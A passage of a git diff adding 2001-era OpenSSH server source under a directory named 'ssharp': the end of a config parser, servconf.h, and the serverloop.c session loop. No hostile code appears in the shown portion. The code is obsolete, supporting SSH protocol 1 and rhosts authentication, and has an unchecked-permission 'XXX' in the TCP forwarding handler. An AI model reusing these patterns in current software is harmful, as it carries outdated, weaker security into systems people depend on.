+ options->ciphers = xstrdup(arg); + break; + + case sMacs: + arg = strdelim(&cp); + if (!arg || *arg == '\0') + fatal("%s line %d: Missing argument.", filename, linenum); + if (!mac_valid(arg)) + fatal("%s line %d: Bad SSH2 mac spec '%s'.", + filename, linenum, arg ? arg : ""); + if (options->macs == NULL) + options->macs = xstrdup(arg); + break; + + case sProtocol: + intptr = &options->protocol; + arg = strdelim(&cp); + if (!arg || *arg == '\0') + fatal("%s line %d: Missing argument.", filename, linenum); + value = proto_spec(arg); + if (value == SSH_PROTO_UNKNOWN) + fatal("%s line %d: Bad protocol spec '%s'.", + filename, linenum, arg ? arg : ""); + if (*intptr == SSH_PROTO_UNKNOWN) + *intptr = value; + break; + + case sSubsystem: + if(options->num_subsystems >= MAX_SUBSYSTEMS) { + fatal("%s line %d: too many subsystems defined.", + filename, linenum); + } + arg = strdelim(&cp); + if (!arg || *arg == '\0') + fatal("%s line %d: Missing subsystem name.", + filename, linenum); + for (i = 0; i < options->num_subsystems; i++) + if(strcmp(arg, options->subsystem_name[i]) == 0) + fatal("%s line %d: Subsystem '%s' already defined.", + filename, linenum, arg); + options->subsystem_name[options->num_subsystems] = xstrdup(arg); + arg = strdelim(&cp); + if (!arg || *arg == '\0') + fatal("%s line %d: Missing subsystem command.", + filename, linenum); + options->subsystem_command[options->num_subsystems] = xstrdup(arg); + options->num_subsystems++; + break; + + case sMaxStartups: + arg = strdelim(&cp); + if (!arg || *arg == '\0') + fatal("%s line %d: Missing MaxStartups spec.", + filename, linenum); + if (sscanf(arg, "%d:%d:%d", + &options->max_startups_begin, + &options->max_startups_rate, + &options->max_startups) == 3) { + if (options->max_startups_begin > + options->max_startups || + options->max_startups_rate > 100 || + options->max_startups_rate < 1) + fatal("%s line %d: Illegal MaxStartups spec.", + filename, linenum); + break; + } + intptr = &options->max_startups; + goto parse_int; + + case sBanner: + charptr = &options->banner; + goto parse_filename; + case sClientAliveInterval: + intptr = &options->client_alive_interval; + goto parse_int; + case sClientAliveCountMax: + intptr = &options->client_alive_count_max; + goto parse_int; + case sPAMAuthenticationViaKbdInt: + intptr = &options->pam_authentication_via_kbd_int; + goto parse_flag; + + default: + fatal("%s line %d: Missing handler for opcode %s (%d)", + filename, linenum, arg, opcode); + } + if ((arg = strdelim(&cp)) != NULL && *arg != '\0') + fatal("%s line %d: garbage at end of line; \"%.200s\".", + filename, linenum, arg); + } + fclose(f); + if (bad_options > 0) + fatal("%s: terminating, %d bad configuration options", + filename, bad_options); +} diff --git a/other/ssharp/servconf.h b/other/ssharp/servconf.h new file mode 100644 index 0000000..78bca97 --- /dev/null +++ b/other/ssharp/servconf.h @@ -0,0 +1,144 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Definitions for server configuration data and for the functions reading it. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +/* RCSID("$OpenBSD: servconf.h,v 1.41 2001/04/13 22:46:53 beck Exp $"); */ + +#ifndef SERVCONF_H +#define SERVCONF_H + +#define MAX_PORTS 256 /* Max # ports. */ + +#define MAX_ALLOW_USERS 256 /* Max # users on allow list. */ +#define MAX_DENY_USERS 256 /* Max # users on deny list. */ +#define MAX_ALLOW_GROUPS 256 /* Max # groups on allow list. */ +#define MAX_DENY_GROUPS 256 /* Max # groups on deny list. */ +#define MAX_SUBSYSTEMS 256 /* Max # subsystems. */ +#define MAX_HOSTKEYS 256 /* Max # hostkeys. */ + +/* permit_root_login */ +#define PERMIT_NOT_SET -1 +#define PERMIT_NO 0 +#define PERMIT_FORCED_ONLY 1 +#define PERMIT_NO_PASSWD 2 +#define PERMIT_YES 3 + + +typedef struct { + u_int num_ports; + u_int ports_from_cmdline; + u_short ports[MAX_PORTS]; /* Port number to listen on. */ + char *listen_addr; /* Address on which the server listens. */ + struct addrinfo *listen_addrs; /* Addresses on which the server listens. */ + char *host_key_files[MAX_HOSTKEYS]; /* Files containing host keys. */ + int num_host_key_files; /* Number of files for host keys. */ + char *pid_file; /* Where to put our pid */ + int server_key_bits;/* Size of the server key. */ + int login_grace_time; /* Disconnect if no auth in this time + * (sec). */ + int key_regeneration_time; /* Server key lifetime (seconds). */ + int permit_root_login; /* PERMIT_*, see above */ + int ignore_rhosts; /* Ignore .rhosts and .shosts. */ + int ignore_user_known_hosts; /* Ignore ~/.ssh/known_hosts + * for RhostsRsaAuth */ + int print_motd; /* If true, print /etc/motd. */ + int print_lastlog; /* If true, print lastlog */ + int check_mail; /* If true, check for new mail. */ + int x11_forwarding; /* If true, permit inet (spoofing) X11 fwd. */ + int x11_display_offset; /* What DISPLAY number to start + * searching at */ + char *xauth_location; /* Location of xauth program */ + int strict_modes; /* If true, require string home dir modes. */ + int keepalives; /* If true, set SO_KEEPALIVE. */ + char *ciphers; /* Supported SSH2 ciphers. */ + char *macs; /* Supported SSH2 macs. */ + int protocol; /* Supported protocol versions. */ + int gateway_ports; /* If true, allow remote connects to forwarded ports. */ + SyslogFacility log_facility; /* Facility for system logging. */ + LogLevel log_level; /* Level for system logging. */ + int rhosts_authentication; /* If true, permit rhosts + * authentication. */ + int rhosts_rsa_authentication; /* If true, permit rhosts RSA + * authentication. */ + int hostbased_authentication; /* If true, permit ssh2 hostbased auth */ + int hostbased_uses_name_from_packet_only; /* experimental */ + int rsa_authentication; /* If true, permit RSA authentication. */ + int pubkey_authentication; /* If true, permit ssh2 pubkey authentication. */ +#ifdef KRB4 + int kerberos_authentication; /* If true, permit Kerberos + * authentication. */ + int kerberos_or_local_passwd; /* If true, permit kerberos + * and any other password + * authentication mechanism, + * such as SecurID or + * /etc/passwd */ + int kerberos_ticket_cleanup; /* If true, destroy ticket + * file on logout. */ +#endif +#ifdef AFS + int kerberos_tgt_passing; /* If true, permit Kerberos tgt + * passing. */ + int afs_token_passing; /* If true, permit AFS token passing. */ +#endif + int password_authentication; /* If true, permit password + * authentication. */ + int kbd_interactive_authentication; /* If true, permit */ + int challenge_reponse_authentication; + int permit_empty_passwd; /* If false, do not permit empty + * passwords. */ + int use_login; /* If true, login(1) is used */ + int allow_tcp_forwarding; + u_int num_allow_users; + char *allow_users[MAX_ALLOW_USERS]; + u_int num_deny_users; + char *deny_users[MAX_DENY_USERS]; + u_int num_allow_groups; + char *allow_groups[MAX_ALLOW_GROUPS]; + u_int num_deny_groups; + char *deny_groups[MAX_DENY_GROUPS]; + + u_int num_subsystems; + char *subsystem_name[MAX_SUBSYSTEMS]; + char *subsystem_command[MAX_SUBSYSTEMS]; + + int max_startups_begin; + int max_startups_rate; + int max_startups; + char *banner; /* SSH-2 banner message */ + int reverse_mapping_check; /* cross-check ip and dns */ + int client_alive_interval; /* + * poke the client this often to + * see if it's still there + */ + int client_alive_count_max; /* + *If the client is unresponsive + * for this many intervals, above + * diconnect the session + */ + int pam_authentication_via_kbd_int; +} ServerOptions; +/* + * Initializes the server options to special values that indicate that they + * have not yet been set. + */ +void initialize_server_options(ServerOptions * options); + +/* + * Reads the server configuration file. This only sets the values for those + * options that have the special value indicating they have not been set. + */ +void read_server_config(ServerOptions * options, const char *filename); + +/* Sets values for those values that have not yet been set. */ +void fill_default_server_options(ServerOptions * options); + +#endif /* SERVCONF_H */ diff --git a/other/ssharp/serverloop.c b/other/ssharp/serverloop.c new file mode 100644 index 0000000..21e4918 --- /dev/null +++ b/other/ssharp/serverloop.c @@ -0,0 +1,1003 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Server main loop for handling the interactive session. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + * + * SSH2 support by Markus Friedl. + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: serverloop.c,v 1.61 2001/04/13 22:46:54 beck Exp $"); + +#include "xmalloc.h" +#include "packet.h" +#include "buffer.h" +#include "log.h" +#include "servconf.h" +#include "sshpty.h" +#include "channels.h" +#include "compat.h" +#include "ssh1.h" +#include "ssh2.h" +#include "auth.h" +#include "session.h" +#include "dispatch.h" +#include "auth-options.h" +#include "serverloop.h" +#include "misc.h" +#include "kex.h" + +extern ServerOptions options; + +/* XXX */ +extern Kex *xxx_kex; + +static Buffer stdin_buffer; /* Buffer for stdin data. */ +static Buffer stdout_buffer; /* Buffer for stdout data. */ +static Buffer stderr_buffer; /* Buffer for stderr data. */ +static int fdin; /* Descriptor for stdin (for writing) */ +static int fdout; /* Descriptor for stdout (for reading); + May be same number as fdin. */ +static int fderr; /* Descriptor for stderr. May be -1. */ +static long stdin_bytes = 0; /* Number of bytes written to stdin. */ +static long stdout_bytes = 0; /* Number of stdout bytes sent to client. */ +static long stderr_bytes = 0; /* Number of stderr bytes sent to client. */ +static long fdout_bytes = 0; /* Number of stdout bytes read from program. */ +static int stdin_eof = 0; /* EOF message received from client. */ +static int fdout_eof = 0; /* EOF encountered reading from fdout. */ +static int fderr_eof = 0; /* EOF encountered readung from fderr. */ +static int fdin_is_tty = 0; /* fdin points to a tty. */ +static int connection_in; /* Connection to client (input). */ +static int connection_out; /* Connection to client (output). */ +static int connection_closed = 0; /* Connection to client closed. */ +static u_int buffer_high; /* "Soft" max buffer size. */ + +/* + * This SIGCHLD kludge is used to detect when the child exits. The server + * will exit after that, as soon as forwarded connections have terminated. + */ + +static pid_t child_pid; /* Pid of the child. */ +static volatile int child_terminated; /* The child has terminated. */ +static volatile int child_wait_status; /* Status from wait(). */ + +void server_init_dispatch(void); + +int client_alive_timeouts = 0; + +void +sigchld_handler(int sig) +{ + int save_errno = errno; + pid_t wait_pid; + + debug("Received SIGCHLD."); + wait_pid = wait((int *) &child_wait_status); + if (wait_pid != -1) { + if (wait_pid != child_pid) + error("Strange, got SIGCHLD and wait returned pid %d but child is %d", + wait_pid, child_pid); + if (WIFEXITED(child_wait_status) || + WIFSIGNALED(child_wait_status)) + child_terminated = 1; + } + signal(SIGCHLD, sigchld_handler); + errno = save_errno; +} +void +sigchld_handler2(int sig) +{ + int save_errno = errno; + debug("Received SIGCHLD."); + child_terminated = 1; + mysignal(SIGCHLD, sigchld_handler2); + errno = save_errno; +} + +/* + * Make packets from buffered stderr data, and buffer it for sending + * to the client. + */ +void +make_packets_from_stderr_data(void) +{ + int len; + + /* Send buffered stderr data to the client. */ + while (buffer_len(&stderr_buffer) > 0 && + packet_not_very_much_data_to_write()) { + len = buffer_len(&stderr_buffer); + if (packet_is_interactive()) { + if (len > 512) + len = 512; + } else { + /* Keep the packets at reasonable size. */ + if (len > packet_get_maxsize()) + len = packet_get_maxsize(); + } + packet_start(SSH_SMSG_STDERR_DATA); + packet_put_string(buffer_ptr(&stderr_buffer), len); + packet_send(); + buffer_consume(&stderr_buffer, len); + stderr_bytes += len; + } +} + +/* + * Make packets from buffered stdout data, and buffer it for sending to the + * client. + */ +void +make_packets_from_stdout_data(void) +{ + int len; + + /* Send buffered stdout data to the client. */ + while (buffer_len(&stdout_buffer) > 0 && + packet_not_very_much_data_to_write()) { + len = buffer_len(&stdout_buffer); + if (packet_is_interactive()) { + if (len > 512) + len = 512; + } else { + /* Keep the packets at reasonable size. */ + if (len > packet_get_maxsize()) + len = packet_get_maxsize(); + } + packet_start(SSH_SMSG_STDOUT_DATA); + packet_put_string(buffer_ptr(&stdout_buffer), len); + packet_send(); + buffer_consume(&stdout_buffer, len); + stdout_bytes += len; + } +} + +/* + * Sleep in select() until we can do something. This will initialize the + * select masks. Upon return, the masks will indicate which descriptors + * have data or can accept data. Optionally, a maximum time can be specified + * for the duration of the wait (0 = infinite). + */ +void +wait_until_can_do_something(fd_set **readsetp, fd_set **writesetp, int *maxfdp, + u_int max_time_milliseconds) +{ + struct timeval tv, *tvp; + int ret; + int client_alive_scheduled = 0; + + /* + * if using client_alive, set the max timeout accordingly, + * and indicate that this particular timeout was for client + * alive by setting the client_alive_scheduled flag. + * + * this could be randomized somewhat to make traffic + * analysis more difficult, but we're not doing it yet. + */ + if (max_time_milliseconds == 0 && options.client_alive_interval) { + client_alive_scheduled = 1; + max_time_milliseconds = options.client_alive_interval * 1000; + } else + client_alive_scheduled = 0; + + /* When select fails we restart from here. */ +retry_select: + + /* Allocate and update select() masks for channel descriptors. */ + channel_prepare_select(readsetp, writesetp, maxfdp, 0); + + if (compat20) { + /* wrong: bad condition XXX */ + if (channel_not_very_much_buffered_data()) + FD_SET(connection_in, *readsetp); + } else { + /* + * Read packets from the client unless we have too much + * buffered stdin or channel data. + */ + if (buffer_len(&stdin_buffer) < buffer_high && + channel_not_very_much_buffered_data()) + FD_SET(connection_in, *readsetp); + /* + * If there is not too much data already buffered going to + * the client, try to get some more data from the program. + */ + if (packet_not_very_much_data_to_write()) { + if (!fdout_eof) + FD_SET(fdout, *readsetp); + if (!fderr_eof) + FD_SET(fderr, *readsetp); + } + /* + * If we have buffered data, try to write some of that data + * to the program. + */ + if (fdin != -1 && buffer_len(&stdin_buffer) > 0) + FD_SET(fdin, *writesetp); + } + + /* + * If we have buffered packet data going to the client, mark that + * descriptor. + */ + if (packet_have_data_to_write()) + FD_SET(connection_out, *writesetp); + + /* + * If child has terminated and there is enough buffer space to read + * from it, then read as much as is available and exit. + */ + if (child_terminated && packet_not_very_much_data_to_write()) + if (max_time_milliseconds == 0 || client_alive_scheduled) + max_time_milliseconds = 100; + + if (max_time_milliseconds == 0) + tvp = NULL; + else { + tv.tv_sec = max_time_milliseconds / 1000; + tv.tv_usec = 1000 * (max_time_milliseconds % 1000); + tvp = &tv; + } + if (tvp!=NULL) + debug3("tvp!=NULL kid %d mili %d", child_terminated, max_time_milliseconds); + + /* Wait for something to happen, or the timeout to expire. */ + ret = select((*maxfdp)+1, *readsetp, *writesetp, NULL, tvp); + + if (ret == -1) { + if (errno != EINTR) + error("select: %.100s", strerror(errno)); + else + goto retry_select; + } + if (ret == 0 && client_alive_scheduled) { + /* timeout, check to see how many we have had */ + client_alive_timeouts++; + + if (client_alive_timeouts > options.client_alive_count_max ) { + packet_disconnect( + "Timeout, your session not responding."); + } else { + /* + * send a bogus channel request with "wantreply" + * we should get back a failure + */ + int id; + + id = channel_find_open(); + if (id != -1) { + channel_request_start(id, + "keepalive@openssh.com", 1); + packet_send(); + } else + packet_disconnect( + "No open channels after timeout!"); + } + } +} + +/* + * Processes input from the client and the program. Input data is stored + * in buffers and processed later. + */ +void +process_input(fd_set * readset) +{ + int len; + char buf[16384]; + + /* Read and buffer any input data from the client. */ + if (FD_ISSET(connection_in, readset)) { + len = read(connection_in, buf, sizeof(buf)); + if (len == 0) { + verbose("Connection closed by remote host."); + connection_closed = 1; + if (compat20) + return; + fatal_cleanup(); + } else if (len < 0) { + if (errno != EINTR && errno != EAGAIN) { + verbose("Read error from remote host: %.100s", strerror(errno)); + fatal_cleanup(); + } + } else { + /* Buffer any received data. */ + packet_process_incoming(buf, len); + } + } + if (compat20) + return; + + /* Read and buffer any available stdout data from the program. */ + if (!fdout_eof && FD_ISSET(fdout, readset)) { + len = read(fdout, buf, sizeof(buf)); + if (len < 0 && (errno == EINTR || errno == EAGAIN)) { + /* do nothing */ + } else if (len <= 0) { + fdout_eof = 1; + } else { + buffer_append(&stdout_buffer, buf, len); + fdout_bytes += len; + } + } + /* Read and buffer any available stderr data from the program. */ + if (!fderr_eof && FD_ISSET(fderr, readset)) { + len = read(fderr, buf, sizeof(buf)); + if (len < 0 && (errno == EINTR || errno == EAGAIN)) { + /* do nothing */ + } else if (len <= 0) { + fderr_eof = 1; + } else { + buffer_append(&stderr_buffer, buf, len); + } + } +} + +/* + * Sends data from internal buffers to client program stdin. + */ +void +process_output(fd_set * writeset) +{ + struct termios tio; + int len; + + /* Write buffered data to program stdin. */ + if (!compat20 && fdin != -1 && FD_ISSET(fdin, writeset)) { + len = write(fdin, buffer_ptr(&stdin_buffer), + buffer_len(&stdin_buffer)); + if (len < 0 && (errno == EINTR || errno == EAGAIN)) { + /* do nothing */ + } else if (len <= 0) { +#ifdef USE_PIPES + close(fdin); +#else + if (fdin != fdout) + close(fdin); + else + shutdown(fdin, SHUT_WR); /* We will no longer send. */ +#endif + fdin = -1; + } else { + /* Successful write. */ + if (fdin_is_tty && tcgetattr(fdin, &tio) == 0 && + !(tio.c_lflag & ECHO) && (tio.c_lflag & ICANON)) { + /* + * Simulate echo to reduce the impact of + * traffic analysis + */ + packet_send_ignore(len); + packet_send(); + } + /* Consume the data from the buffer. */ + buffer_consume(&stdin_buffer, len); + /* Update the count of bytes written to the program. */ + stdin_bytes += len; + } + } + /* Send any buffered packet data to the client. */ + if (FD_ISSET(connection_out, writeset)) + packet_write_poll(); +} + +/* + * Wait until all buffered output has been sent to the client. + * This is used when the program terminates. + */ +void +drain_output(void) +{ + /* Send any buffered stdout data to the client. */ + if (buffer_len(&stdout_buffer) > 0) { + packet_start(SSH_SMSG_STDOUT_DATA); + packet_put_string(buffer_ptr(&stdout_buffer), + buffer_len(&stdout_buffer)); + packet_send(); + /* Update the count of sent bytes. */ + stdout_bytes += buffer_len(&stdout_buffer); + } + /* Send any buffered stderr data to the client. */ + if (buffer_len(&stderr_buffer) > 0) { + packet_start(SSH_SMSG_STDERR_DATA); + packet_put_string(buffer_ptr(&stderr_buffer), + buffer_len(&stderr_buffer)); + packet_send(); + /* Update the count of sent bytes. */ + stderr_bytes += buffer_len(&stderr_buffer); + } + /* Wait until all buffered data has been written to the client. */ + packet_write_wait(); +} + +void +process_buffered_input_packets(void) +{ + dispatch_run(DISPATCH_NONBLOCK, NULL, compat20 ? xxx_kex : NULL); +} + +/* + * Performs the interactive session. This handles data transmission between + * the client and the program. Note that the notion of stdin, stdout, and + * stderr in this function is sort of reversed: this function writes to + * stdin (of the child program), and reads from stdout and stderr (of the + * child program). + */ +void +server_loop(pid_t pid, int fdin_arg, int fdout_arg, int fderr_arg) +{ + fd_set *readset = NULL, *writeset = NULL; + int max_fd; + int wait_status; /* Status returned by wait(). */ + pid_t wait_pid; /* pid returned by wait(). */ + int waiting_termination = 0; /* Have displayed waiting close message. */ + u_int max_time_milliseconds; + u_int previous_stdout_buffer_bytes; + u_int stdout_buffer_bytes; + int type; + + debug("Entering interactive session."); + + /* Initialize the SIGCHLD kludge. */ + child_pid = pid; + child_terminated = 0; + signal(SIGCHLD, sigchld_handler); + + /* Initialize our global variables. */ + fdin = fdin_arg; + fdout = fdout_arg; + fderr = fderr_arg; + + /* nonblocking IO */ + set_nonblock(fdin); + set_nonblock(fdout); + /* we don't have stderr for interactive terminal sessions, see below */ + if (fderr != -1) + set_nonblock(fderr); + + if (!(datafellows & SSH_BUG_IGNOREMSG) && isatty(fdin)) + fdin_is_tty = 1; + + connection_in = packet_get_connection_in(); + connection_out = packet_get_connection_out(); + + previous_stdout_buffer_bytes = 0; + + /* Set approximate I/O buffer size. */ + if (packet_is_interactive()) + buffer_high = 4096; + else + buffer_high = 64 * 1024; + + /* Initialize max_fd to the maximum of the known file descriptors. */ + max_fd = MAX(fdin, fdout); + if (fderr != -1) + max_fd = MAX(max_fd, fderr); + max_fd = MAX(max_fd, connection_in); + max_fd = MAX(max_fd, connection_out); + + /* Initialize Initialize buffers. */ + buffer_init(&stdin_buffer); + buffer_init(&stdout_buffer); + buffer_init(&stderr_buffer); + + /* + * If we have no separate fderr (which is the case when we have a pty + * - there we cannot make difference between data sent to stdout and + * stderr), indicate that we have seen an EOF from stderr. This way + * we don\'t need to check the descriptor everywhere. + */ + if (fderr == -1) + fderr_eof = 1; + + server_init_dispatch(); + + /* Main loop of the server for the interactive session mode. */ + for (;;) { + + /* Process buffered packets from the client. */ + process_buffered_input_packets(); + + /* + * If we have received eof, and there is no more pending + * input data, cause a real eof by closing fdin. + */ + if (stdin_eof && fdin != -1 && buffer_len(&stdin_buffer) == 0) { +#ifdef USE_PIPES + close(fdin); +#else + if (fdin != fdout) + close(fdin); + else + shutdown(fdin, SHUT_WR); /* We will no longer send. */ +#endif + fdin = -1; + } + /* Make packets from buffered stderr data to send to the client. */ + make_packets_from_stderr_data(); + + /* + * Make packets from buffered stdout data to send to the + * client. If there is very little to send, this arranges to + * not send them now, but to wait a short while to see if we + * are getting more data. This is necessary, as some systems + * wake up readers from a pty after each separate character. + */ + max_time_milliseconds = 0; + stdout_buffer_bytes = buffer_len(&stdout_buffer); + if (stdout_buffer_bytes != 0 && stdout_buffer_bytes < 256 && + stdout_buffer_bytes != previous_stdout_buffer_bytes) { + /* try again after a while */ + max_time_milliseconds = 10; + } else { + /* Send it now. */ + make_packets_from_stdout_data(); + } + previous_stdout_buffer_bytes = buffer_len(&stdout_buffer); + + /* Send channel data to the client. */ + if (packet_not_very_much_data_to_write()) + channel_output_poll(); + + /* + * Bail out of the loop if the program has closed its output + * descriptors, and we have no more data to send to the + * client, and there is no pending buffered data. + */ + if (fdout_eof && fderr_eof && !packet_have_data_to_write() && + buffer_len(&stdout_buffer) == 0 && buffer_len(&stderr_buffer) == 0) { + if (!channel_still_open()) + break; + if (!waiting_termination) { + const char *s = "Waiting for forwarded connections to terminate...\r\n"; + char *cp; + waiting_termination = 1; + buffer_append(&stderr_buffer, s, strlen(s)); + + /* Display list of open channels. */ + cp = channel_open_message(); + buffer_append(&stderr_buffer, cp, strlen(cp)); + xfree(cp); + } + } + /* Sleep in select() until we can do something. */ + wait_until_can_do_something(&readset, &writeset, &max_fd, + max_time_milliseconds); + + /* Process any channel events. */ + channel_after_select(readset, writeset); + + /* Process input from the client and from program stdout/stderr. */ + process_input(readset); + + /* Process output to the client and to program stdin. */ + process_output(writeset); + } + if (readset) + xfree(readset); + if (writeset) + xfree(writeset); + + /* Cleanup and termination code. */ + + /* Wait until all output has been sent to the client. */ + drain_output(); + + debug("End of interactive session; stdin %ld, stdout (read %ld, sent %ld), stderr %ld bytes.", + stdin_bytes, fdout_bytes, stdout_bytes, stderr_bytes); + + /* Free and clear the buffers. */ + buffer_free(&stdin_buffer); + buffer_free(&stdout_buffer); + buffer_free(&stderr_buffer); + + /* Close the file descriptors. */ + if (fdout != -1) + close(fdout); + fdout = -1; + fdout_eof = 1; + if (fderr != -1) + close(fderr); + fderr = -1; + fderr_eof = 1; + if (fdin != -1) + close(fdin); + fdin = -1; + + /* Stop listening for channels; this removes unix domain sockets. */ + channel_stop_listening(); + + /* Wait for the child to exit. Get its exit status. */ + wait_pid = wait(&wait_status); + if (wait_pid == -1) { + /* + * It is possible that the wait was handled by SIGCHLD + * handler. This may result in either: this call + * returning with EINTR, or: this call returning ECHILD. + */ + if (child_terminated) + wait_status = child_wait_status; + else + packet_disconnect("wait: %.100s", strerror(errno)); + } else { + /* Check if it matches the process we forked. */ + if (wait_pid != pid) + error("Strange, wait returned pid %d, expected %d", + wait_pid, pid); + } + + /* We no longer want our SIGCHLD handler to be called. */ + signal(SIGCHLD, SIG_DFL); + + /* Check if it exited normally. */ + if (WIFEXITED(wait_status)) { + /* Yes, normal exit. Get exit status and send it to the client. */ + debug("Command exited with status %d.", WEXITSTATUS(wait_status)); + packet_start(SSH_SMSG_EXITSTATUS); + packet_put_int(WEXITSTATUS(wait_status)); + packet_send(); + packet_write_wait(); + + /* + * Wait for exit confirmation. Note that there might be + * other packets coming before it; however, the program has + * already died so we just ignore them. The client is + * supposed to respond with the confirmation when it receives + * the exit status. + */ + do { + int plen; + type = packet_read(&plen); + } + while (type != SSH_CMSG_EXIT_CONFIRMATION); + + debug("Received exit confirmation."); + return; + } + /* Check if the program terminated due to a signal. */ + if (WIFSIGNALED(wait_status)) + packet_disconnect("Command terminated on signal %d.", + WTERMSIG(wait_status)); + + /* Some weird exit cause. Just exit. */ + packet_disconnect("wait returned status %04x.", wait_status); + /* NOTREACHED */ +} + +void +server_loop2(Authctxt *authctxt) +{ + fd_set *readset = NULL, *writeset = NULL; + int rekeying = 0, max_fd, status; + pid_t pid; + + debug("Entering interactive session for SSH2."); + + mysignal(SIGCHLD, sigchld_handler2); + child_terminated = 0; + connection_in = packet_get_connection_in(); + connection_out = packet_get_connection_out(); + + max_fd = MAX(connection_in, connection_out); + + server_init_dispatch(); + + for (;;) { + process_buffered_input_packets(); + + rekeying = (xxx_kex != NULL && !xxx_kex->done); + + if (!rekeying && packet_not_very_much_data_to_write()) + channel_output_poll(); + wait_until_can_do_something(&readset, &writeset, &max_fd, + rekeying); + if (child_terminated) { + while ((pid = waitpid(-1, &status, WNOHANG)) > 0) + session_close_by_pid(pid, status); + child_terminated = 0; + } + if (!rekeying) + channel_after_select(readset, writeset); + process_input(readset); + if (connection_closed) + break; + process_output(writeset); + } + if (readset) + xfree(readset); + if (writeset) + xfree(writeset); + + signal(SIGCHLD, SIG_DFL); + while ((pid = waitpid(-1, &status, WNOHANG)) > 0) + session_close_by_pid(pid, status); + channel_stop_listening(); +} + +void +server_input_channel_failure(int type, int plen, void *ctxt) +{ + debug("Got CHANNEL_FAILURE for keepalive"); + /* + * reset timeout, since we got a sane answer from the client. + * even if this was generated by something other than + * the bogus CHANNEL_REQUEST we send for keepalives. + */ + client_alive_timeouts = 0; +} + + +void +server_input_stdin_data(int type, int plen, void *ctxt) +{ + char *data; + u_int data_len; + + /* Stdin data from the client. Append it to the buffer. */ + /* Ignore any data if the client has closed stdin. */ + if (fdin == -1) + return; + data = packet_get_string(&data_len); + packet_integrity_check(plen, (4 + data_len), type); + buffer_append(&stdin_buffer, data, data_len); + memset(data, 0, data_len); + xfree(data); +} + +void +server_input_eof(int type, int plen, void *ctxt) +{ + /* + * Eof from the client. The stdin descriptor to the + * program will be closed when all buffered data has + * drained. + */ + debug("EOF received for stdin."); + packet_integrity_check(plen, 0, type); + stdin_eof = 1; +} + +void +server_input_window_size(int type, int plen, void *ctxt) +{ + int row = packet_get_int(); + int col = packet_get_int(); + int xpixel = packet_get_int(); + int ypixel = packet_get_int(); + + debug("Window change received."); + packet_integrity_check(plen, 4 * 4, type); + if (fdin != -1) + pty_change_window_size(fdin, row, col, xpixel, ypixel); +} + +Channel * +server_request_direct_tcpip(char *ctype) +{ + int sock, newch; + char *target, *originator; + int target_port, originator_port; + + target = packet_get_string(NULL); + target_port = packet_get_int(); + originator = packet_get_string(NULL); + originator_port = packet_get_int(); + packet_done(); + + debug("server_request_direct_tcpip: originator %s port %d, target %s port %d", + originator, originator_port, target, target_port); + + /* XXX check permission */ + sock = channel_connect_to(target, target_port); + xfree(target); + xfree(originator); + if (sock < 0) + return NULL; + newch = channel_new(ctype, SSH_CHANNEL_CONNECTING, + sock, sock, -1, CHAN_TCP_WINDOW_DEFAULT, + CHAN_TCP_PACKET_DEFAULT, 0, xstrdup("direct-tcpip"), 1); + return (newch >= 0) ? channel_lookup(newch) : NULL; +} + +Channel * +server_request_session(char *ctype) +{ + int newch; + + debug("input_session_request"); + packet_done(); + /* + * A server session has no fd to read or write until a + * CHANNEL_REQUEST for a shell is made, so we set the type to + * SSH_CHANNEL_LARVAL. Additionally, a callback for handling all + * CHANNEL_REQUEST messages is registered. + */ + newch = channel_new(ctype, SSH_CHANNEL_LARVAL, + -1, -1, -1, 0, CHAN_SES_PACKET_DEFAULT, + 0, xstrdup("server-session"), 1); + if (session_open(newch) == 1) { + channel_register_callback(newch, SSH2_MSG_CHANNEL_REQUEST, + session_input_channel_req, (void *)0); + channel_register_cleanup(newch, session_close_by_channel); + return channel_lookup(newch); + } else { + debug("session open failed, free channel %d", newch); + channel_free(newch); + } + return NULL; +} + +void +server_input_channel_open(int type, int plen, void *ctxt) +{ + Channel *c = NULL; + char *ctype; + u_int len; + int rchan; + int rmaxpack; + int rwindow; + + ctype = packet_get_string(&len); + rchan = packet_get_int(); + rwindow = packet_get_int(); + rmaxpack = packet_get_int(); + + debug("server_input_channel_open: ctype %s rchan %d win %d max %d", + ctype, rchan, rwindow, rmaxpack); + + if (strcmp(ctype, "session") == 0) { + c = server_request_session(ctype); + } else if (strcmp(ctype, "direct-tcpip") == 0) { + c = server_request_direct_tcpip(ctype); + } + if (c != NULL) { + debug("server_input_channel_open: confirm %s", ctype); + c->remote_id = rchan; + c->remote_window = rwindow; + c->remote_maxpacket = rmaxpack; + + packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); + 